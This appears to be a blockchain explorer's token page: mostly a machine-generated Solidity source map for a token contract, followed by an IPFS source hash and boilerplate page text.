4805:5276:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5815:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6327:169;;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6327:169:0;1023:187:1;6094:102:0;6176:12;;6094:102;;;1361:25:1;;;1349:2;1334:18;6094:102:0;1215:177:1;9564:351:0;;;;;;:::i;:::-;;:::i;6001:87::-;6071:9;;6001:87;;5234:28;;;;;;7011:215;;;;;;:::i;:::-;;:::i;5271:68::-;;;;;;6202:119;;;;;;:::i;:::-;-1:-1:-1;;;;;6295:18:0;6268:7;6295:18;;;:9;:18;;;;;;;6202:119;1324:148;;;:::i;:::-;;5348:68;;;;;;1105:87;1151:7;1178:6;1105:87;;-1:-1:-1;;;;;1178:6:0;;;2256:51:1;;2244:2;2229:18;1105:87:0;2110:203:1;5906:89:0;;;:::i;7232:376::-;;;;;;:::i;:::-;;:::i;9383:175::-;;;;;;:::i;:::-;;:::i;5425:23::-;;;;;;6854:151;;;;;;:::i;:::-;-1:-1:-1;;;;;6970:18:0;;;6943:7;6970:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6854:151;5815:85;5854:13;5887:5;5880:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5815:85;:::o;6327:169::-;6410:4;6427:39;678:10;6450:7;6459:6;6427:8;:39::i;:::-;-1:-1:-1;6484:4:0;6327:169;;;;;:::o;9564:351::-;9670:4;9687:36;9697:6;9705:9;9716:6;9687:9;:36::i;:::-;-1:-1:-1;;;;;9761:19:0;;9734:24;9761:19;;;:11;:19;;;;;;;;678:10;9761:33;;;;;;;;9813:26;;;;9805:80;;;;-1:-1:-1;;;9805:80:0;;3298:2:1;9805:80:0;;;3280:21:1;3337:2;3317:18;;;3310:30;3376:34;3356:18;;;3349:62;-1:-1:-1;;;3427:18:1;;;3420:39;3476:19;;9805:80:0;;;;;;;;;-1:-1:-1;9903:4:0;;9564:351;-1:-1:-1;;;;9564:351:0:o;7011:215::-;678:10;7099:4;7148:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7148:34:0;;;;;;;;;;7099:4;;7116:80;;7139:7;;7148:47;;7185:10;;7148:47;:::i;:::-;7116:8;:80::i;1324:148::-;1151:7;1178:6;-1:-1:-1;;;;;1178:6:0;678:10;1238:23;1230:68;;;;-1:-1:-1;;;1230:68:0;;3970:2:1;1230:68:0;;;3952:21:1;;;3989:18;;;3982:30;4048:34;4028:18;;;4021:62;4100:18;;1230:68:0;3768:356:1;1230:68:0;1431:1:::1;1415:6:::0;;1394:40:::1;::::0;-1:-1:-1;;;;;1415:6:0;;::::1;::::0;1394:40:::1;::::0;1431:1;;1394:40:::1;1462:1;1445:19:::0;;-1:-1:-1;;;;;;1445:19:0::1;::::0;;1324:148::o;5906:89::-;5947:13;5980:7;5973:14;;;;;:::i;7232:376::-;678:10;7325:4;7369:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7369:34:0;;;;;;;;;;7422:35;;;;7414:86;;;;-1:-1:-1;;;7414:86:0;;4331:2:1;7414:86:0;;;4313:21:1;4370:2;4350:18;;;4343:30;4409:34;4389:18;;;4382:62;-1:-1:-1;;;4460:18:1;;;4453:36;4506:19;;7414:86:0;4129:402:1;7414:86:0;7511:67;678:10;7534:7;7543:34;7562:15;7543:16;:34;:::i;7511:67::-;-1:-1:-1;7596:4:0;;7232:376;-1:-1:-1;;;7232:376:0:o;9383:175::-;9469:4;9486:42;678:10;9510:9;9521:6;9486:9;:42::i;6502:346::-;-1:-1:-1;;;;;6604:19:0;;6596:69;;;;-1:-1:-1;;;6596:69:0;;4871:2:1;6596:69:0;;;4853:21:1;4910:2;4890:18;;;4883:30;4949:34;4929:18;;;4922:62;-1:-1:-1;;;5000:18:1;;;4993:35;5045:19;;6596:69:0;4669:401:1;6596:69:0;-1:-1:-1;;;;;6684:21:0;;6676:69;;;;-1:-1:-1;;;6676:69:0;;5277:2:1;6676:69:0;;;5259:21:1;5316:2;5296:18;;;5289:30;5355:34;5335:18;;;5328:62;-1:-1:-1;;;5406:18:1;;;5399:33;5449:19;;6676:69:0;5075:399:1;6676:69:0;-1:-1:-1;;;;;6756:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6808:32;;1361:25:1;;;6808:32:0;;1334:18:1;6808:32:0;;;;;;;6502:346;;;:::o;7614:1305::-;-1:-1:-1;;;;;7711:18:0;;7703:69;;;;-1:-1:-1;;;7703:69:0;;5681:2:1;7703:69:0;;;5663:21:1;5720:2;5700:18;;;5693:30;5759:34;5739:18;;;5732:62;-1:-1:-1;;;5810:18:1;;;5803:36;5856:19;;7703:69:0;5479:402:1;7703:69:0;-1:-1:-1;;;;;7791:16:0;;7783:65;;;;-1:-1:-1;;;7783:65:0;;6088:2:1;7783:65:0;;;6070:21:1;6127:2;6107:18;;;6100:30;6166:34;6146:18;;;6139:62;-1:-1:-1;;;6217:18:1;;;6210:34;6261:19;;7783:65:0;5886:400:1;7783:65:0;7859:17;7891:27;7928:15;:13;:15::i;:::-;-1:-1:-1;;;;;7922:21:0;:2;-1:-1:-1;;;;;7922:21:0;;:47;;;;-1:-1:-1;;;;;;7947:22:0;;;;;;:16;:22;;;;;;;;7922:47;7921:102;;;;7983:15;:13;:15::i;:::-;-1:-1:-1;;;;;7975:23:0;:4;-1:-1:-1;;;;;7975:23:0;;:47;;;;-1:-1:-1;;;;;;8002:20:0;;;;;;:16;:20;;;;;;;;7975:47;-1:-1:-1;;;;;8039:22:0;;;;;;:16;:22;;;;;;7891:132;;-1:-1:-1;8039:22:0;;8038:23;:48;;;;-1:-1:-1;;;;;;8066:20:0;;;;;;:16;:20;;;;;;;;8065:21;8038:48;:78;;;;;8091:25;8113:2;8091:21;:25::i;:::-;8090:26;8038:78;:101;;;;-1:-1:-1;;;;;;8120:19:0;;8134:4;8120:19;;8038:101;:128;;;;;8144:22;8143:23;8038:128;:141;;;;-1:-1:-1;8171:8:0;;;;8170:9;8038:141;8034:257;;;8208:25;8229:3;8208:16;8219:4;;8208:6;:10;;:16;;;;:::i;:::-;:20;;:25::i;:::-;8196:37;;8266:12;;8256:6;:22;;8248:31;;;;;;8331:6;8305:23;;:32;:95;;;;-1:-1:-1;8359:10:0;8342:28;;;;:16;:28;;;;;;;;;:57;;;8374:25;8396:2;8374:21;:25::i;:::-;8305:109;;;;;8410:4;-1:-1:-1;;;;;8404:10:0;:2;-1:-1:-1;;;;;8404:10:0;;8305:109;8301:169;;;8438:20;8447:6;8455:2;8438:8;:20::i;:::-;8431:27;;7614:1305;;;:::o;8301:169::-;8488:8;;;;;:37;;-1:-1:-1;;;;;;8500:15:0;;;;;;:9;:15;;;;;;:25;-1:-1:-1;8500:25:0;8488:37;8480:89;;;;-1:-1:-1;;;8480:89:0;;6493:2:1;8480:89:0;;;6475:21:1;6532:2;6512:18;;;6505:30;6571:34;6551:18;;;6544:62;-1:-1:-1;;;6622:18:1;;;6615:37;6669:19;;8480:89:0;6291:403:1;8480:89:0;8580:22;8605:18;8614:9;8605:6;:18;:::i;:::-;8634:21;;;;:9;:21;;;:34;;8580:43;;-1:-1:-1;8659:9:0;;8634:21;;;:34;;8659:9;;8634:34;:::i;:::-;;;;-1:-1:-1;;;;;;;8697:15:0;;;;;;:9;:15;;;;;;:24;;8715:6;;8697:24;:::i;:::-;-1:-1:-1;;;;;8679:15:0;;;;;;;:9;:15;;;;;;:42;;;;8732:13;;;;;;;;:31;;8749:14;;8679:15;8732:31;;8749:14;;8732:31;:::i;:::-;;;;;;;;8794:2;-1:-1:-1;;;;;8779:34:0;8788:4;-1:-1:-1;;;;;8779:34:0;;8798:14;8779:34;;;;1361:25:1;;1349:2;1334:18;;1215:177;8779:34:0;;;;;;;;8828:13;;8824:88;;8863:37;;1361:25:1;;;8886:1:0;;-1:-1:-1;;;;;8863:37:0;;;;;1349:2:1;1334:18;8863:37:0;;;;;;;8824:88;7692:1227;;;7614:1305;;;:::o;9921:157::-;10013:7;;:17;;;-1:-1:-1;;;10013:17:0;;;;9968:7;;-1:-1:-1;;;;;10013:7:0;;:15;;:17;;;;;;;;;;;;;;:7;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9995:44:0;;10048:4;10055:7;;;;;;;;;-1:-1:-1;;;;;10055:7:0;-1:-1:-1;;;;;10055:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9995:75;;-1:-1:-1;;;;;;9995:75:0;;;;;;;-1:-1:-1;;;;;7185:15:1;;;9995:75:0;;;7167:34:1;7237:15;;7217:18;;;7210:43;7102:18;;9995:75:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9988:82;;9921:157;:::o;3970:139::-;4068:25;;-1:-1:-1;;7413:2:1;7409:15;;;7405:53;4068:25:0;;;7393:66:1;4034:4:0;;7475:12:1;;4068:25:0;;;-1:-1:-1;;4068:25:0;;;;;;;;;4058:36;;4068:25;4058:36;;;;:43;;3970:139;-1:-1:-1;;3970:139:0:o;2725:98::-;2783:7;2810:5;2814:1;2810;:5;:::i;:::-;2803:12;2725:98;-1:-1:-1;;;2725:98:0:o;2829:::-;2887:7;2914:5;2918:1;2914;:5;:::i;8925:452::-;9008:4;8990:24;;;;:9;:24;;;;;:34;;9018:6;;8990:24;:34;;9018:6;;8990:34;:::i;:::-;;;;-1:-1:-1;;9067:7:0;;9035:49;;9052:4;;-1:-1:-1;;;;;9067:7:0;9077:6;9035:8;:49::i;:::-;9119:16;;;9133:1;9119:16;;;;;;;;9095:21;;9119:16;;;;;;;;;;-1:-1:-1;9119:16:0;9095:40;;9164:4;9146;9151:1;9146:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9146:23:0;;;:7;;;;;;;;;;:23;;;;9190:7;;:14;;;-1:-1:-1;;;9190:14:0;;;;:7;;;;;:12;;:14;;;;;9146:7;;9190:14;;;;;:7;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9180:4;9185:1;9180:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9180:24:0;;;:7;;;;;;;;;:24;9215:8;:15;;-1:-1:-1;;9215:15:0;9226:4;9215:15;;;;;;9241:7;;:58;9300:6;9215:8;9311:4;9317:2;9321:20;:15;9339:2;9321:20;:::i;:::-;9241:101;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;9353:8:0;:16;;-1:-1:-1;;9353:16:0;;;-1:-1:-1;;;;;8925:452:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2318:388::-;2386:6;2394;2447:2;2435:9;2426:7;2422:23;2418:32;2415:52;;;2463:1;2460;2453:12;2415:52;2502:9;2489:23;2521:31;2546:5;2521:31;:::i;:::-;2571:5;-1:-1:-1;2628:2:1;2613:18;;2600:32;2641:33;2600:32;2641:33;:::i;:::-;2693:7;2683:17;;;2318:388;;;;;:::o;2711:380::-;2790:1;2786:12;;;;2833;;;2854:61;;2908:4;2900:6;2896:17;2886:27;;2854:61;2961:2;2953:6;2950:14;2930:18;2927:38;2924:161;;3007:10;3002:3;2998:20;2995:1;2988:31;3042:4;3039:1;3032:15;3070:4;3067:1;3060:15;2924:161;;2711:380;;;:::o;3506:127::-;3567:10;3562:3;3558:20;3555:1;3548:31;3598:4;3595:1;3588:15;3622:4;3619:1;3612:15;3638:125;3703:9;;;3724:10;;;3721:36;;;3737:18;;:::i;4536:128::-;4603:9;;;4624:11;;;4621:37;;;4638:18;;:::i;6699:251::-;6769:6;6822:2;6810:9;6801:7;6797:23;6793:32;6790:52;;;6838:1;6835;6828:12;6790:52;6870:9;6864:16;6889:31;6914:5;6889:31;:::i;7498:168::-;7571:9;;;7602;;7619:15;;;7613:22;;7599:37;7589:71;;7640:18;;:::i;7671:217::-;7711:1;7737;7727:132;;7781:10;7776:3;7772:20;7769:1;7762:31;7816:4;7813:1;7806:15;7844:4;7841:1;7834:15;7727:132;-1:-1:-1;7873:9:1;;7671:217::o;8025:127::-;8086:10;8081:3;8077:20;8074:1;8067:31;8117:4;8114:1;8107:15;8141:4;8138:1;8131:15;8157:980;8419:4;8467:3;8456:9;8452:19;8498:6;8487:9;8480:25;8524:2;8562:6;8557:2;8546:9;8542:18;8535:34;8605:3;8600:2;8589:9;8585:18;8578:31;8629:6;8664;8658:13;8695:6;8687;8680:22;8733:3;8722:9;8718:19;8711:26;;8772:2;8764:6;8760:15;8746:29;;8793:1;8803:195;8817:6;8814:1;8811:13;8803:195;;;8882:13;;-1:-1:-1;;;;;8878:39:1;8866:52;;8973:15;;;;8938:12;;;;8914:1;8832:9;8803:195;;;-1:-1:-1;;;;;;;9054:32:1;;;;9049:2;9034:18;;9027:60;-1:-1:-1;;;9118:3:1;9103:19;9096:35;9015:3;8157:980;-1:-1:-1;;;8157:980:1:o

Swarm Source

ipfs://908e732c156d8b5d06f44aa5e4db814cda276942e1c6f2d825c96de80c9ce97a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.